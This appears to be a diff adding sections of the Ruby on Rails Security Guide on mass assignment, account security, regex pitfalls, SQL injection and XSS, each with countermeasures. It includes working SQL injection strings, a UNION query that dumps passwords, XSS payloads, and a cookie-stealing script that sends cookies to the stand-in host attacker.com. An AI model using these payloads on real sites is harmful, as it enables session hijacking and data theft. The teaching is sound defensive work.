+</ul>
+<ul>
+	<li><em class="highlight">Put the admin interface to a special sub-domain</em> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (<span class="caps">XSS</span>) script on www.application.com may not read the cookie for admin.application.com and vice-versa.</li>
+</ul>
+<h3 id="mass-assignment">6 Mass Assignment</h3>
+<p>&#8212; <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column&#8217;s value.</em></p>
+<p>The mass-assignment feature may become a problem, as it allows an attacker to set any model&#8217;s attributes by manipulating the hash passed to a model&#8217;s <tt>new()</tt> method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def signup
+  params[:user] # =&gt; {:name =&gt; โ€œow3nedโ€, :admin =&gt; true}
+  @user = User.new(params[:user])
+end
+</pre>
+</div>
+</notextile>
+
+<p>Mass-assignment saves you much work, because you don&#8217;t have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model&#8217;s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the <span class="caps">URL</span> like this:</p>
+<pre>
+"name":http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1
+</pre>
+<p>This will set the following parameters in the controller:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+params[:user] # =&gt; {:name =&gt; โ€œow3nedโ€, :admin =&gt; true}
+</pre>
+</div>
+</notextile>
+
+<p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p>
+<p>Note that this vulnerability is not restricted to database columns.  Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method.  In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3.  The <tt>accepts_nested_attributes_for</tt> declaration provides us the ability to extend mass assignment to model associations (<tt>has_many</tt>, <tt>has_one</tt>, <tt>has_and_belongs_to_many</tt>).  For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+    has_many :children
+
+    accepts_nested_attributes_for :children
+  end
+
+  class Child &lt; ActiveRecord::Base
+    belongs_to :person
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).</p>
+<h4 id="countermeasures">6.1 Countermeasures</h4>
+<p>To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The <tt>attr_protected</tt> method takes a list of attributes that will not be accessible for mass-assignment. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+attr_protected :admin
+</pre>
+</div>
+</notextile>
+
+<p>A much better way, because it follows the whitelist-principle, is the <tt>attr_accessible</tt> method. It is the exact opposite of <tt>attr_protected</tt>, because <em class="highlight">it takes a list of attributes that will be accessible</em>. All other attributes will be protected. This way you won&#8217;t forget to protect attributes when adding new ones in the course of development. Here is an example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+attr_accessible :name
+</pre>
+</div>
+</notextile>
+
+<p>If you want to set a protected attribute, you will to have to assign it individually:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+params[:user] # =&gt; {:name =&gt; &quot;ow3ned&quot;, :admin =&gt; true}
+@user = User.new(params[:user])
+@user.admin # =&gt; false # not mass-assigned
+@user.admin = true
+@user.admin # =&gt; true
+</pre>
+</div>
+</notextile>
+
+<p>A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes.  This can be easily achieved with a very simple initializer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActiveRecord::Base.send(:attr_accessible, nil)
+</pre>
+</div>
+</notextile>
+
+<p>This will create an empty whitelist of attributes available for mass assignment for all models in your app.  As such, your models will need to explicitly whitelist accessible parameters by using an <tt>attr_accessible</tt> declaration.  This technique is best applied at the start of a new project.  However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via <tt>attr_accessible</tt>) as dictated by your failing tests.</p>
+<h3 id="user-management">7 User Management</h3>
+<p>&#8212; <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p>
+<p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <tt>restful_authentication</tt> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p>
+<p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to <span class="caps">NULL</span> in the database. If someone requested an <span class="caps">URL</span> like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+</pre>
+</div>
+</notextile>
+
+<p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.find_by_activation_code(params[:id])
+</pre>
+</div>
+</notextile>
+
+<p>If the parameter was nil, the resulting <span class="caps">SQL</span> query will be</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+</pre>
+</div>
+</notextile>
+
+<p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <em class="highlight">It is advisable to update your plug-ins from time to time</em>. Moreover, you can review your application to find more flaws like this.</p>
+<h4 id="brute-forcing-accounts">7.1 Brute-Forcing Accounts</h4>
+<p>&#8212; <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a <span class="caps">CAPTCHA</span>.</em></p>
+<p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don&#8217;t use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.</p>
+<p>Because of this, most web applications will display a generic error message โ€œuser name or password not correctโ€, if one of these are not correct. If it said โ€œthe user name you entered has not been foundโ€, an attacker could automatically compile a list of user names.</p>
+<p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p>
+<p>In order to mitigate such attacks, <em class="highlight">display a generic error message on forgot-password pages, too</em>. Moreover, you can <em class="highlight">require to enter a <span class="caps">CAPTCHA</span> after a number of failed logins from a certain IP address</em>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p>
+<h4 id="account-hijacking">7.2 Account Hijacking</h4>
+<p>&#8212; <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p>
+<h5 id="passwords">7.2.1 Passwords</h5>
+<p>Think of a situation where an attacker has stolen a user&#8217;s session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to <span class="caps">CSRF</span>, the attacker will be able to change the victim&#8217;s password by luring him to a web page where there is a crafted <span class="caps">IMG</span>-tag which does the <span class="caps">CSRF</span>. As a countermeasure, <em class="highlight">make change-password forms safe against <span class="caps">CSRF</span></em>, of course. And <em class="highlight">require the user to enter the old password when changing it</em>.</p>
+<h5 id="e-mail">7.2.2 E-Mail</h5>
+<p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker&#8217;s e-mail address. As a countermeasure <em class="highlight">require the user to enter the password when changing the e-mail address, too</em>.</p>
+<h5 id="other">7.2.3 Other</h5>
+<p>Depending on your web application, there may be more ways to hijack the user&#8217;s account. In many cases <span class="caps">CSRF</span> and <span class="caps">XSS</span> will help to do so. For example, as in a <span class="caps">CSRF</span> vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted <span class="caps">IMG</span>-tag which results in a <span class="caps">HTTP</span> <span class="caps">GET</span> request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <em class="highlight">review your application logic and eliminate all <span class="caps">XSS</span> and <span class="caps">CSRF</span> vulnerabilities</em>.</p>
+<h4 id="captchas">7.3 CAPTCHAs</h4>
+<p>&#8212; <em>A <span class="caps">CAPTCHA</span> is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative <span class="caps">CAPTCHA</span> is not for a user to prove that he is human, but reveal that a robot is a robot.</em></p>
+<p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular <span class="caps">CAPTCHA</span> <span class="caps">API</span> is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the <span class="caps">API</span>.</p>
+<p>You will get two keys from the <span class="caps">API</span>, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p>
+<p>Most bots are really dumb, they crawl the web and put their spam into every form&#8217;s field they can find. Negative CAPTCHAs take advantage of that and include a &#8220;honeypot&#8221; field in the form which will be hidden from the human user by <span class="caps">CSS</span> or JavaScript.</p>
+<p>Here are some ideas how to hide honeypot fields by JavaScript and/or <span class="caps">CSS</span>:</p>
+<ul>
+	<li>position the fields off of the visible area of the page</li>
+	<li>make the elements very small or colour them the same as the background of the page</li>
+	<li>leave the fields displayed, but tell humans to leave them blank</li>
+</ul>
+<p>The most simple negative <span class="caps">CAPTCHA</span> is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p>
+<p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder&#8217;s <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p>
+<ul>
+	<li>Include a field with the current <span class="caps">UTC</span> time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.</li>
+	<li>Randomize the field names</li>
+	<li>Include more than one honeypot field of all types, including submission buttons</li>
+</ul>
+<p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So <em class="highlight">negative CAPTCHAs might not be good to protect login forms</em>.</p>
+<h4 id="logging">7.4 Logging</h4>
+<p>&#8212; <em>Tell Rails not to put passwords in the log files.</em></p>
+<p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <em class="highlight">filter certain request parameters from your log files</em> by the filter_parameter_logging method in a controller. These parameters will be marked [<span class="caps">FILTERED</span>] in the log.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+filter_parameter_logging :password
+</pre>
+</div>
+</notextile>
+
+<h4 id="good-passwords">7.5 Good Passwords</h4>
+<p>&#8212; <em>Do you find it hard to remember all your passwords? Don&#8217;t write them down, but use the initial letters of each word in an easy to remember sentence.</em></p>
+<p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p>
+<p>password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.</p>
+<p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today&#8217;s passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p>
+<p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <em class="highlight">first letters of a sentence that you can easily remember</em>. For example &#8220;The quick brown fox jumps over the lazy dog&#8221; will be &#8220;Tqbfjotld&#8221;. Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p>
+<h4 id="regular-expressions">7.6 Regular Expressions</h4>
+<p>&#8212; <em>A common pitfall in Ruby&#8217;s regular expressions is to match the string&#8217;s beginning and end by ^ and $, instead of \A and \z.</em></p>
+<p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class File &lt; ActiveRecord::Base
+  validates_format_of :name, :with =&gt; /^[\w\.\-\+]+$/
+end
+</pre>
+</div>
+</notextile>
+
+<p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <em class="highlight">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</em>. And thus a file name like this passes the filter without problems:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Whereas %0A is a line feed in <span class="caps">URL</span> encoding, so Rails automatically converts it to &#8220;file.txt\n&lt;script&gt;alert(&#8216;hello&#8217;)&lt;/script&gt;&#8221;. This file name passes the filter because the regular expression matches โ€“ up to the line end, the rest does not matter. The correct expression should read:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+/\A[\w\.\-\+]+\z/
+</pre>
+</div>
+</notextile>
+
+<h4 id="privilege-escalation">7.7 Privilege Escalation</h4>
+<p>&#8212; <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p>
+<p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@project = Project.find(params[:id])
+</pre>
+</div>
+</notextile>
+
+<p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <em class="highlight">query the user&#8217;s access rights, too</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@project = @current_user.projects.find(params[:id])
+</pre>
+</div>
+</notextile>
+
+<p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <em class="highlight">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</em>.</p>
+<p>Donโ€˜t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form&#8217;s hidden fields. <em class="highlight">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</em>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p>
+<h3 id="injection">8 Injection</h3>
+<p>&#8212; <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (<span class="caps">XSS</span>) and <span class="caps">SQL</span> injection.</em></p>
+<p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p>
+<h4 id="whitelists-versus-blacklists">8.1 Whitelists versus Blacklists</h4>
+<p>&#8212; <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p>
+<p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad <span class="caps">HTML</span> tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good <span class="caps">HTML</span> tags and so on. Although, sometimes it is not possible to create a whitelist (in a <span class="caps">SPAM</span> filter, for example), <em class="highlight">prefer to use whitelist approaches</em>:</p>
+<ul>
+	<li>Use before_filter :only =&gt; [&#8230;] instead of :except =&gt; [&#8230;]. This way you don&#8217;t forget to turn it off for newly added actions.</li>
+	<li>Use attr_accessible instead of attr_protected. See the mass-assignment section for details</li>
+	<li>Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (<span class="caps">XSS</span>). See below for details.</li>
+	<li>Don&#8217;t try to correct user input by blacklists:
+	<ul>
+		<li>This will make the attack work: &#8220;&lt;sc&lt;script&gt;ript&gt;&#8221;.gsub(&#8220;&lt;script&gt;&#8221;, &quot;&quot;)</li>
+		<li>But reject malformed input</li>
+	</ul></li>
+</ul>
+<p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p>
+<h4 id="sql-injection">8.2 <span class="caps">SQL</span> Injection</h4>
+<p>&#8212; <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p>
+<h5 id="sql-injection-introduction">8.2.1 Introduction</h5>
+<p><span class="caps">SQL</span> injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of <span class="caps">SQL</span> injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Project.find(:all, :conditions =&gt; &quot;name = '#{params[:name]}'&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>This could be in a search action and the user may enter a project&#8217;s name that he wants to find. If a malicious user enters &#8217; OR 1 &#8212;, the resulting <span class="caps">SQL</span> query will be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM projects WHERE name = '' OR 1 --'
+</pre>
+</div>
+</notextile>
+
+<p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p>
+<h5 id="bypassing-authorization">8.2.2 Bypassing Authorization</h5>
+<p>Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with <span class="caps">SQL</span> injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.find(:first, &quot;login = '#{params[:name]}' AND password = '#{params[:password]}'&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>If an attacker enters &#8217; OR &#8216;1&#8217;=&#8216;1 as the name, and &#8217; OR &#8217;2&#8217;&gt;&#8217;1 as the password, the resulting <span class="caps">SQL</span> query will be:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
+</pre>
+</div>
+</notextile>
+
+<p>This will simply find the first record in the database, and grants access to this user.</p>
+<h5 id="unauthorized-reading">8.2.3 Unauthorized Reading</h5>
+<p>The <span class="caps">UNION</span> statement connects two <span class="caps">SQL</span> queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let&#8217;s take the example from above:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Project.find(:all, :conditions =&gt; &quot;name = '#{params[:name]}'&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>And now let&#8217;s inject another query using the <span class="caps">UNION</span> statement:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+</pre>
+</div>
+</notextile>
+
+<p>This will result in the following <span class="caps">SQL</span> query:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+</pre>
+</div>
+</notextile>
+
+<p>The result won&#8217;t be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That&#8217;s why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p>
+<p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p>
+<h5 id="sql-injection-countermeasures">8.2.4 Countermeasures</h5>
+<p>Ruby on Rails has a built-in filter for special <span class="caps">SQL</span> characters, which will escape &#8217; , &quot; , <span class="caps">NULL</span> character and line breaks. <em class="highlight">Using <tt>Model.find(id)</tt> or <tt>Model.find_by_some thing(something)</tt> automatically applies this countermeasure</em>. But in <span class="caps">SQL</span> fragments, especially <em class="highlight">in conditions fragments (<tt>:conditions => "..."</tt>), the <tt>connection.execute()</tt> or <tt>Model.find_by_sql()</tt> methods, it has to be applied manually</em>.</p>
+<p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Model.find(:first, :conditions =&gt; [&quot;login = ? AND password = ?&quot;, entered_user_name, entered_password])
+</pre>
+</div>
+</notextile>
+
+<p>As you can see, the first part of the array is an <span class="caps">SQL</span> fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Model.find(:first, :conditions =&gt; {:login =&gt; entered_user_name, :password =&gt; entered_password})
+</pre>
+</div>
+</notextile>
+
+<p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <em class="highlight">Make it a habit to think about the security consequences when using an external string in <span class="caps">SQL</span></em>.</p>
+<h4 id="cross-site-scripting-xss">8.3 Cross-Site Scripting (<span class="caps">XSS</span>)</h4>
+<p>&#8212; <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is <span class="caps">XSS</span>. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p>
+<h5 id="entry-points">8.3.1 Entry Points</h5>
+<p>An entry point is a vulnerable <span class="caps">URL</span> and its parameters where an attacker can start an attack.</p>
+<p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable &#8211; just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any <span class="caps">URL</span> parameter โ€“ obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live <span class="caps">HTTP</span> Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p>
+<p><span class="caps">XSS</span> attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most <span class="caps">XSS</span> examples simply display an alert box, but it is more powerful than that. <span class="caps">XSS</span> can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p>
+<p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/mpack-uncovered/">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an <span class="caps">SQL</span>-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.</p>
+<p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p>
+<h5 id="html-javascript-injection">8.3.2 <span class="caps">HTML</span>/JavaScript Injection</h5>
+<p>The most common <span class="caps">XSS</span> language is of course the most popular client-side scripting language JavaScript, often in combination with <span class="caps">HTML</span>. <em class="highlight">Escaping user input is essential</em>.</p>
+<p>Here is the most straightforward test to check for <span class="caps">XSS</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;script&gt;alert('Hello');&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;img src=javascript:alert('Hello')&gt;
+&lt;table background=&quot;javascript:alert('Hello')&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<h6 id="cookie-theft">8.3.2.1 Cookie Theft</h6>
+<p>These examples don&#8217;t do any harm so far, so let&#8217;s see how an attacker can steal the user&#8217;s cookie (and thus hijack the user&#8217;s session). In JavaScript you can use the document.cookie property to read and write the document&#8217;s cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the <span class="caps">HTML</span> document (as it happens with <span class="caps">XSS</span>). Inject this anywhere in your web application to see your own cookie on the result page:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+&lt;script&gt;document.write(document.cookie);&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the <span class="caps">URL</span> http://www.attacker.com/ plus the cookie. Of course this <span class="caps">URL</span> does not exist, so the browser displays nothing. But the attacker can review his web server&#8217;s access log files to see the victim&#8217;s cookie.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;script&gt;document.write('&lt;img src=&quot;http://www.attacker.com/' + document.cookie + '&quot;&gt;');&lt;/script&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The log files on www.attacker.com will read like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+</pre>
+</div>
+</notextile>
+
+<p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p>
+<h6 id="defacement">8.3.2.2 Defacement</h6>
+<p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;iframe name=โ€StatPageโ€ src=&quot;http://58.xx.xxx.xxx&quot; width=5 height=5 style=โ€display:noneโ€&gt;&lt;/iframe&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This loads arbitrary <span class="caps">HTML</span> and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser โ€“ very successfully, 50% of the attacks succeed.</p>
+<p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site&#8217;s original, but transmits the user name and password to the attacker&#8217;s site. Or it could use <span class="caps">CSS</span> and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p>
+<p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the <span class="caps">URL</span>. Especially search forms fail to escape the search string. The following link presented a page which stated that &#8220;George Bush appointed a 9 year old boy to be the chairperson&#8230;&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
+  &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--
+</pre>
+</div>
+</notextile>
+
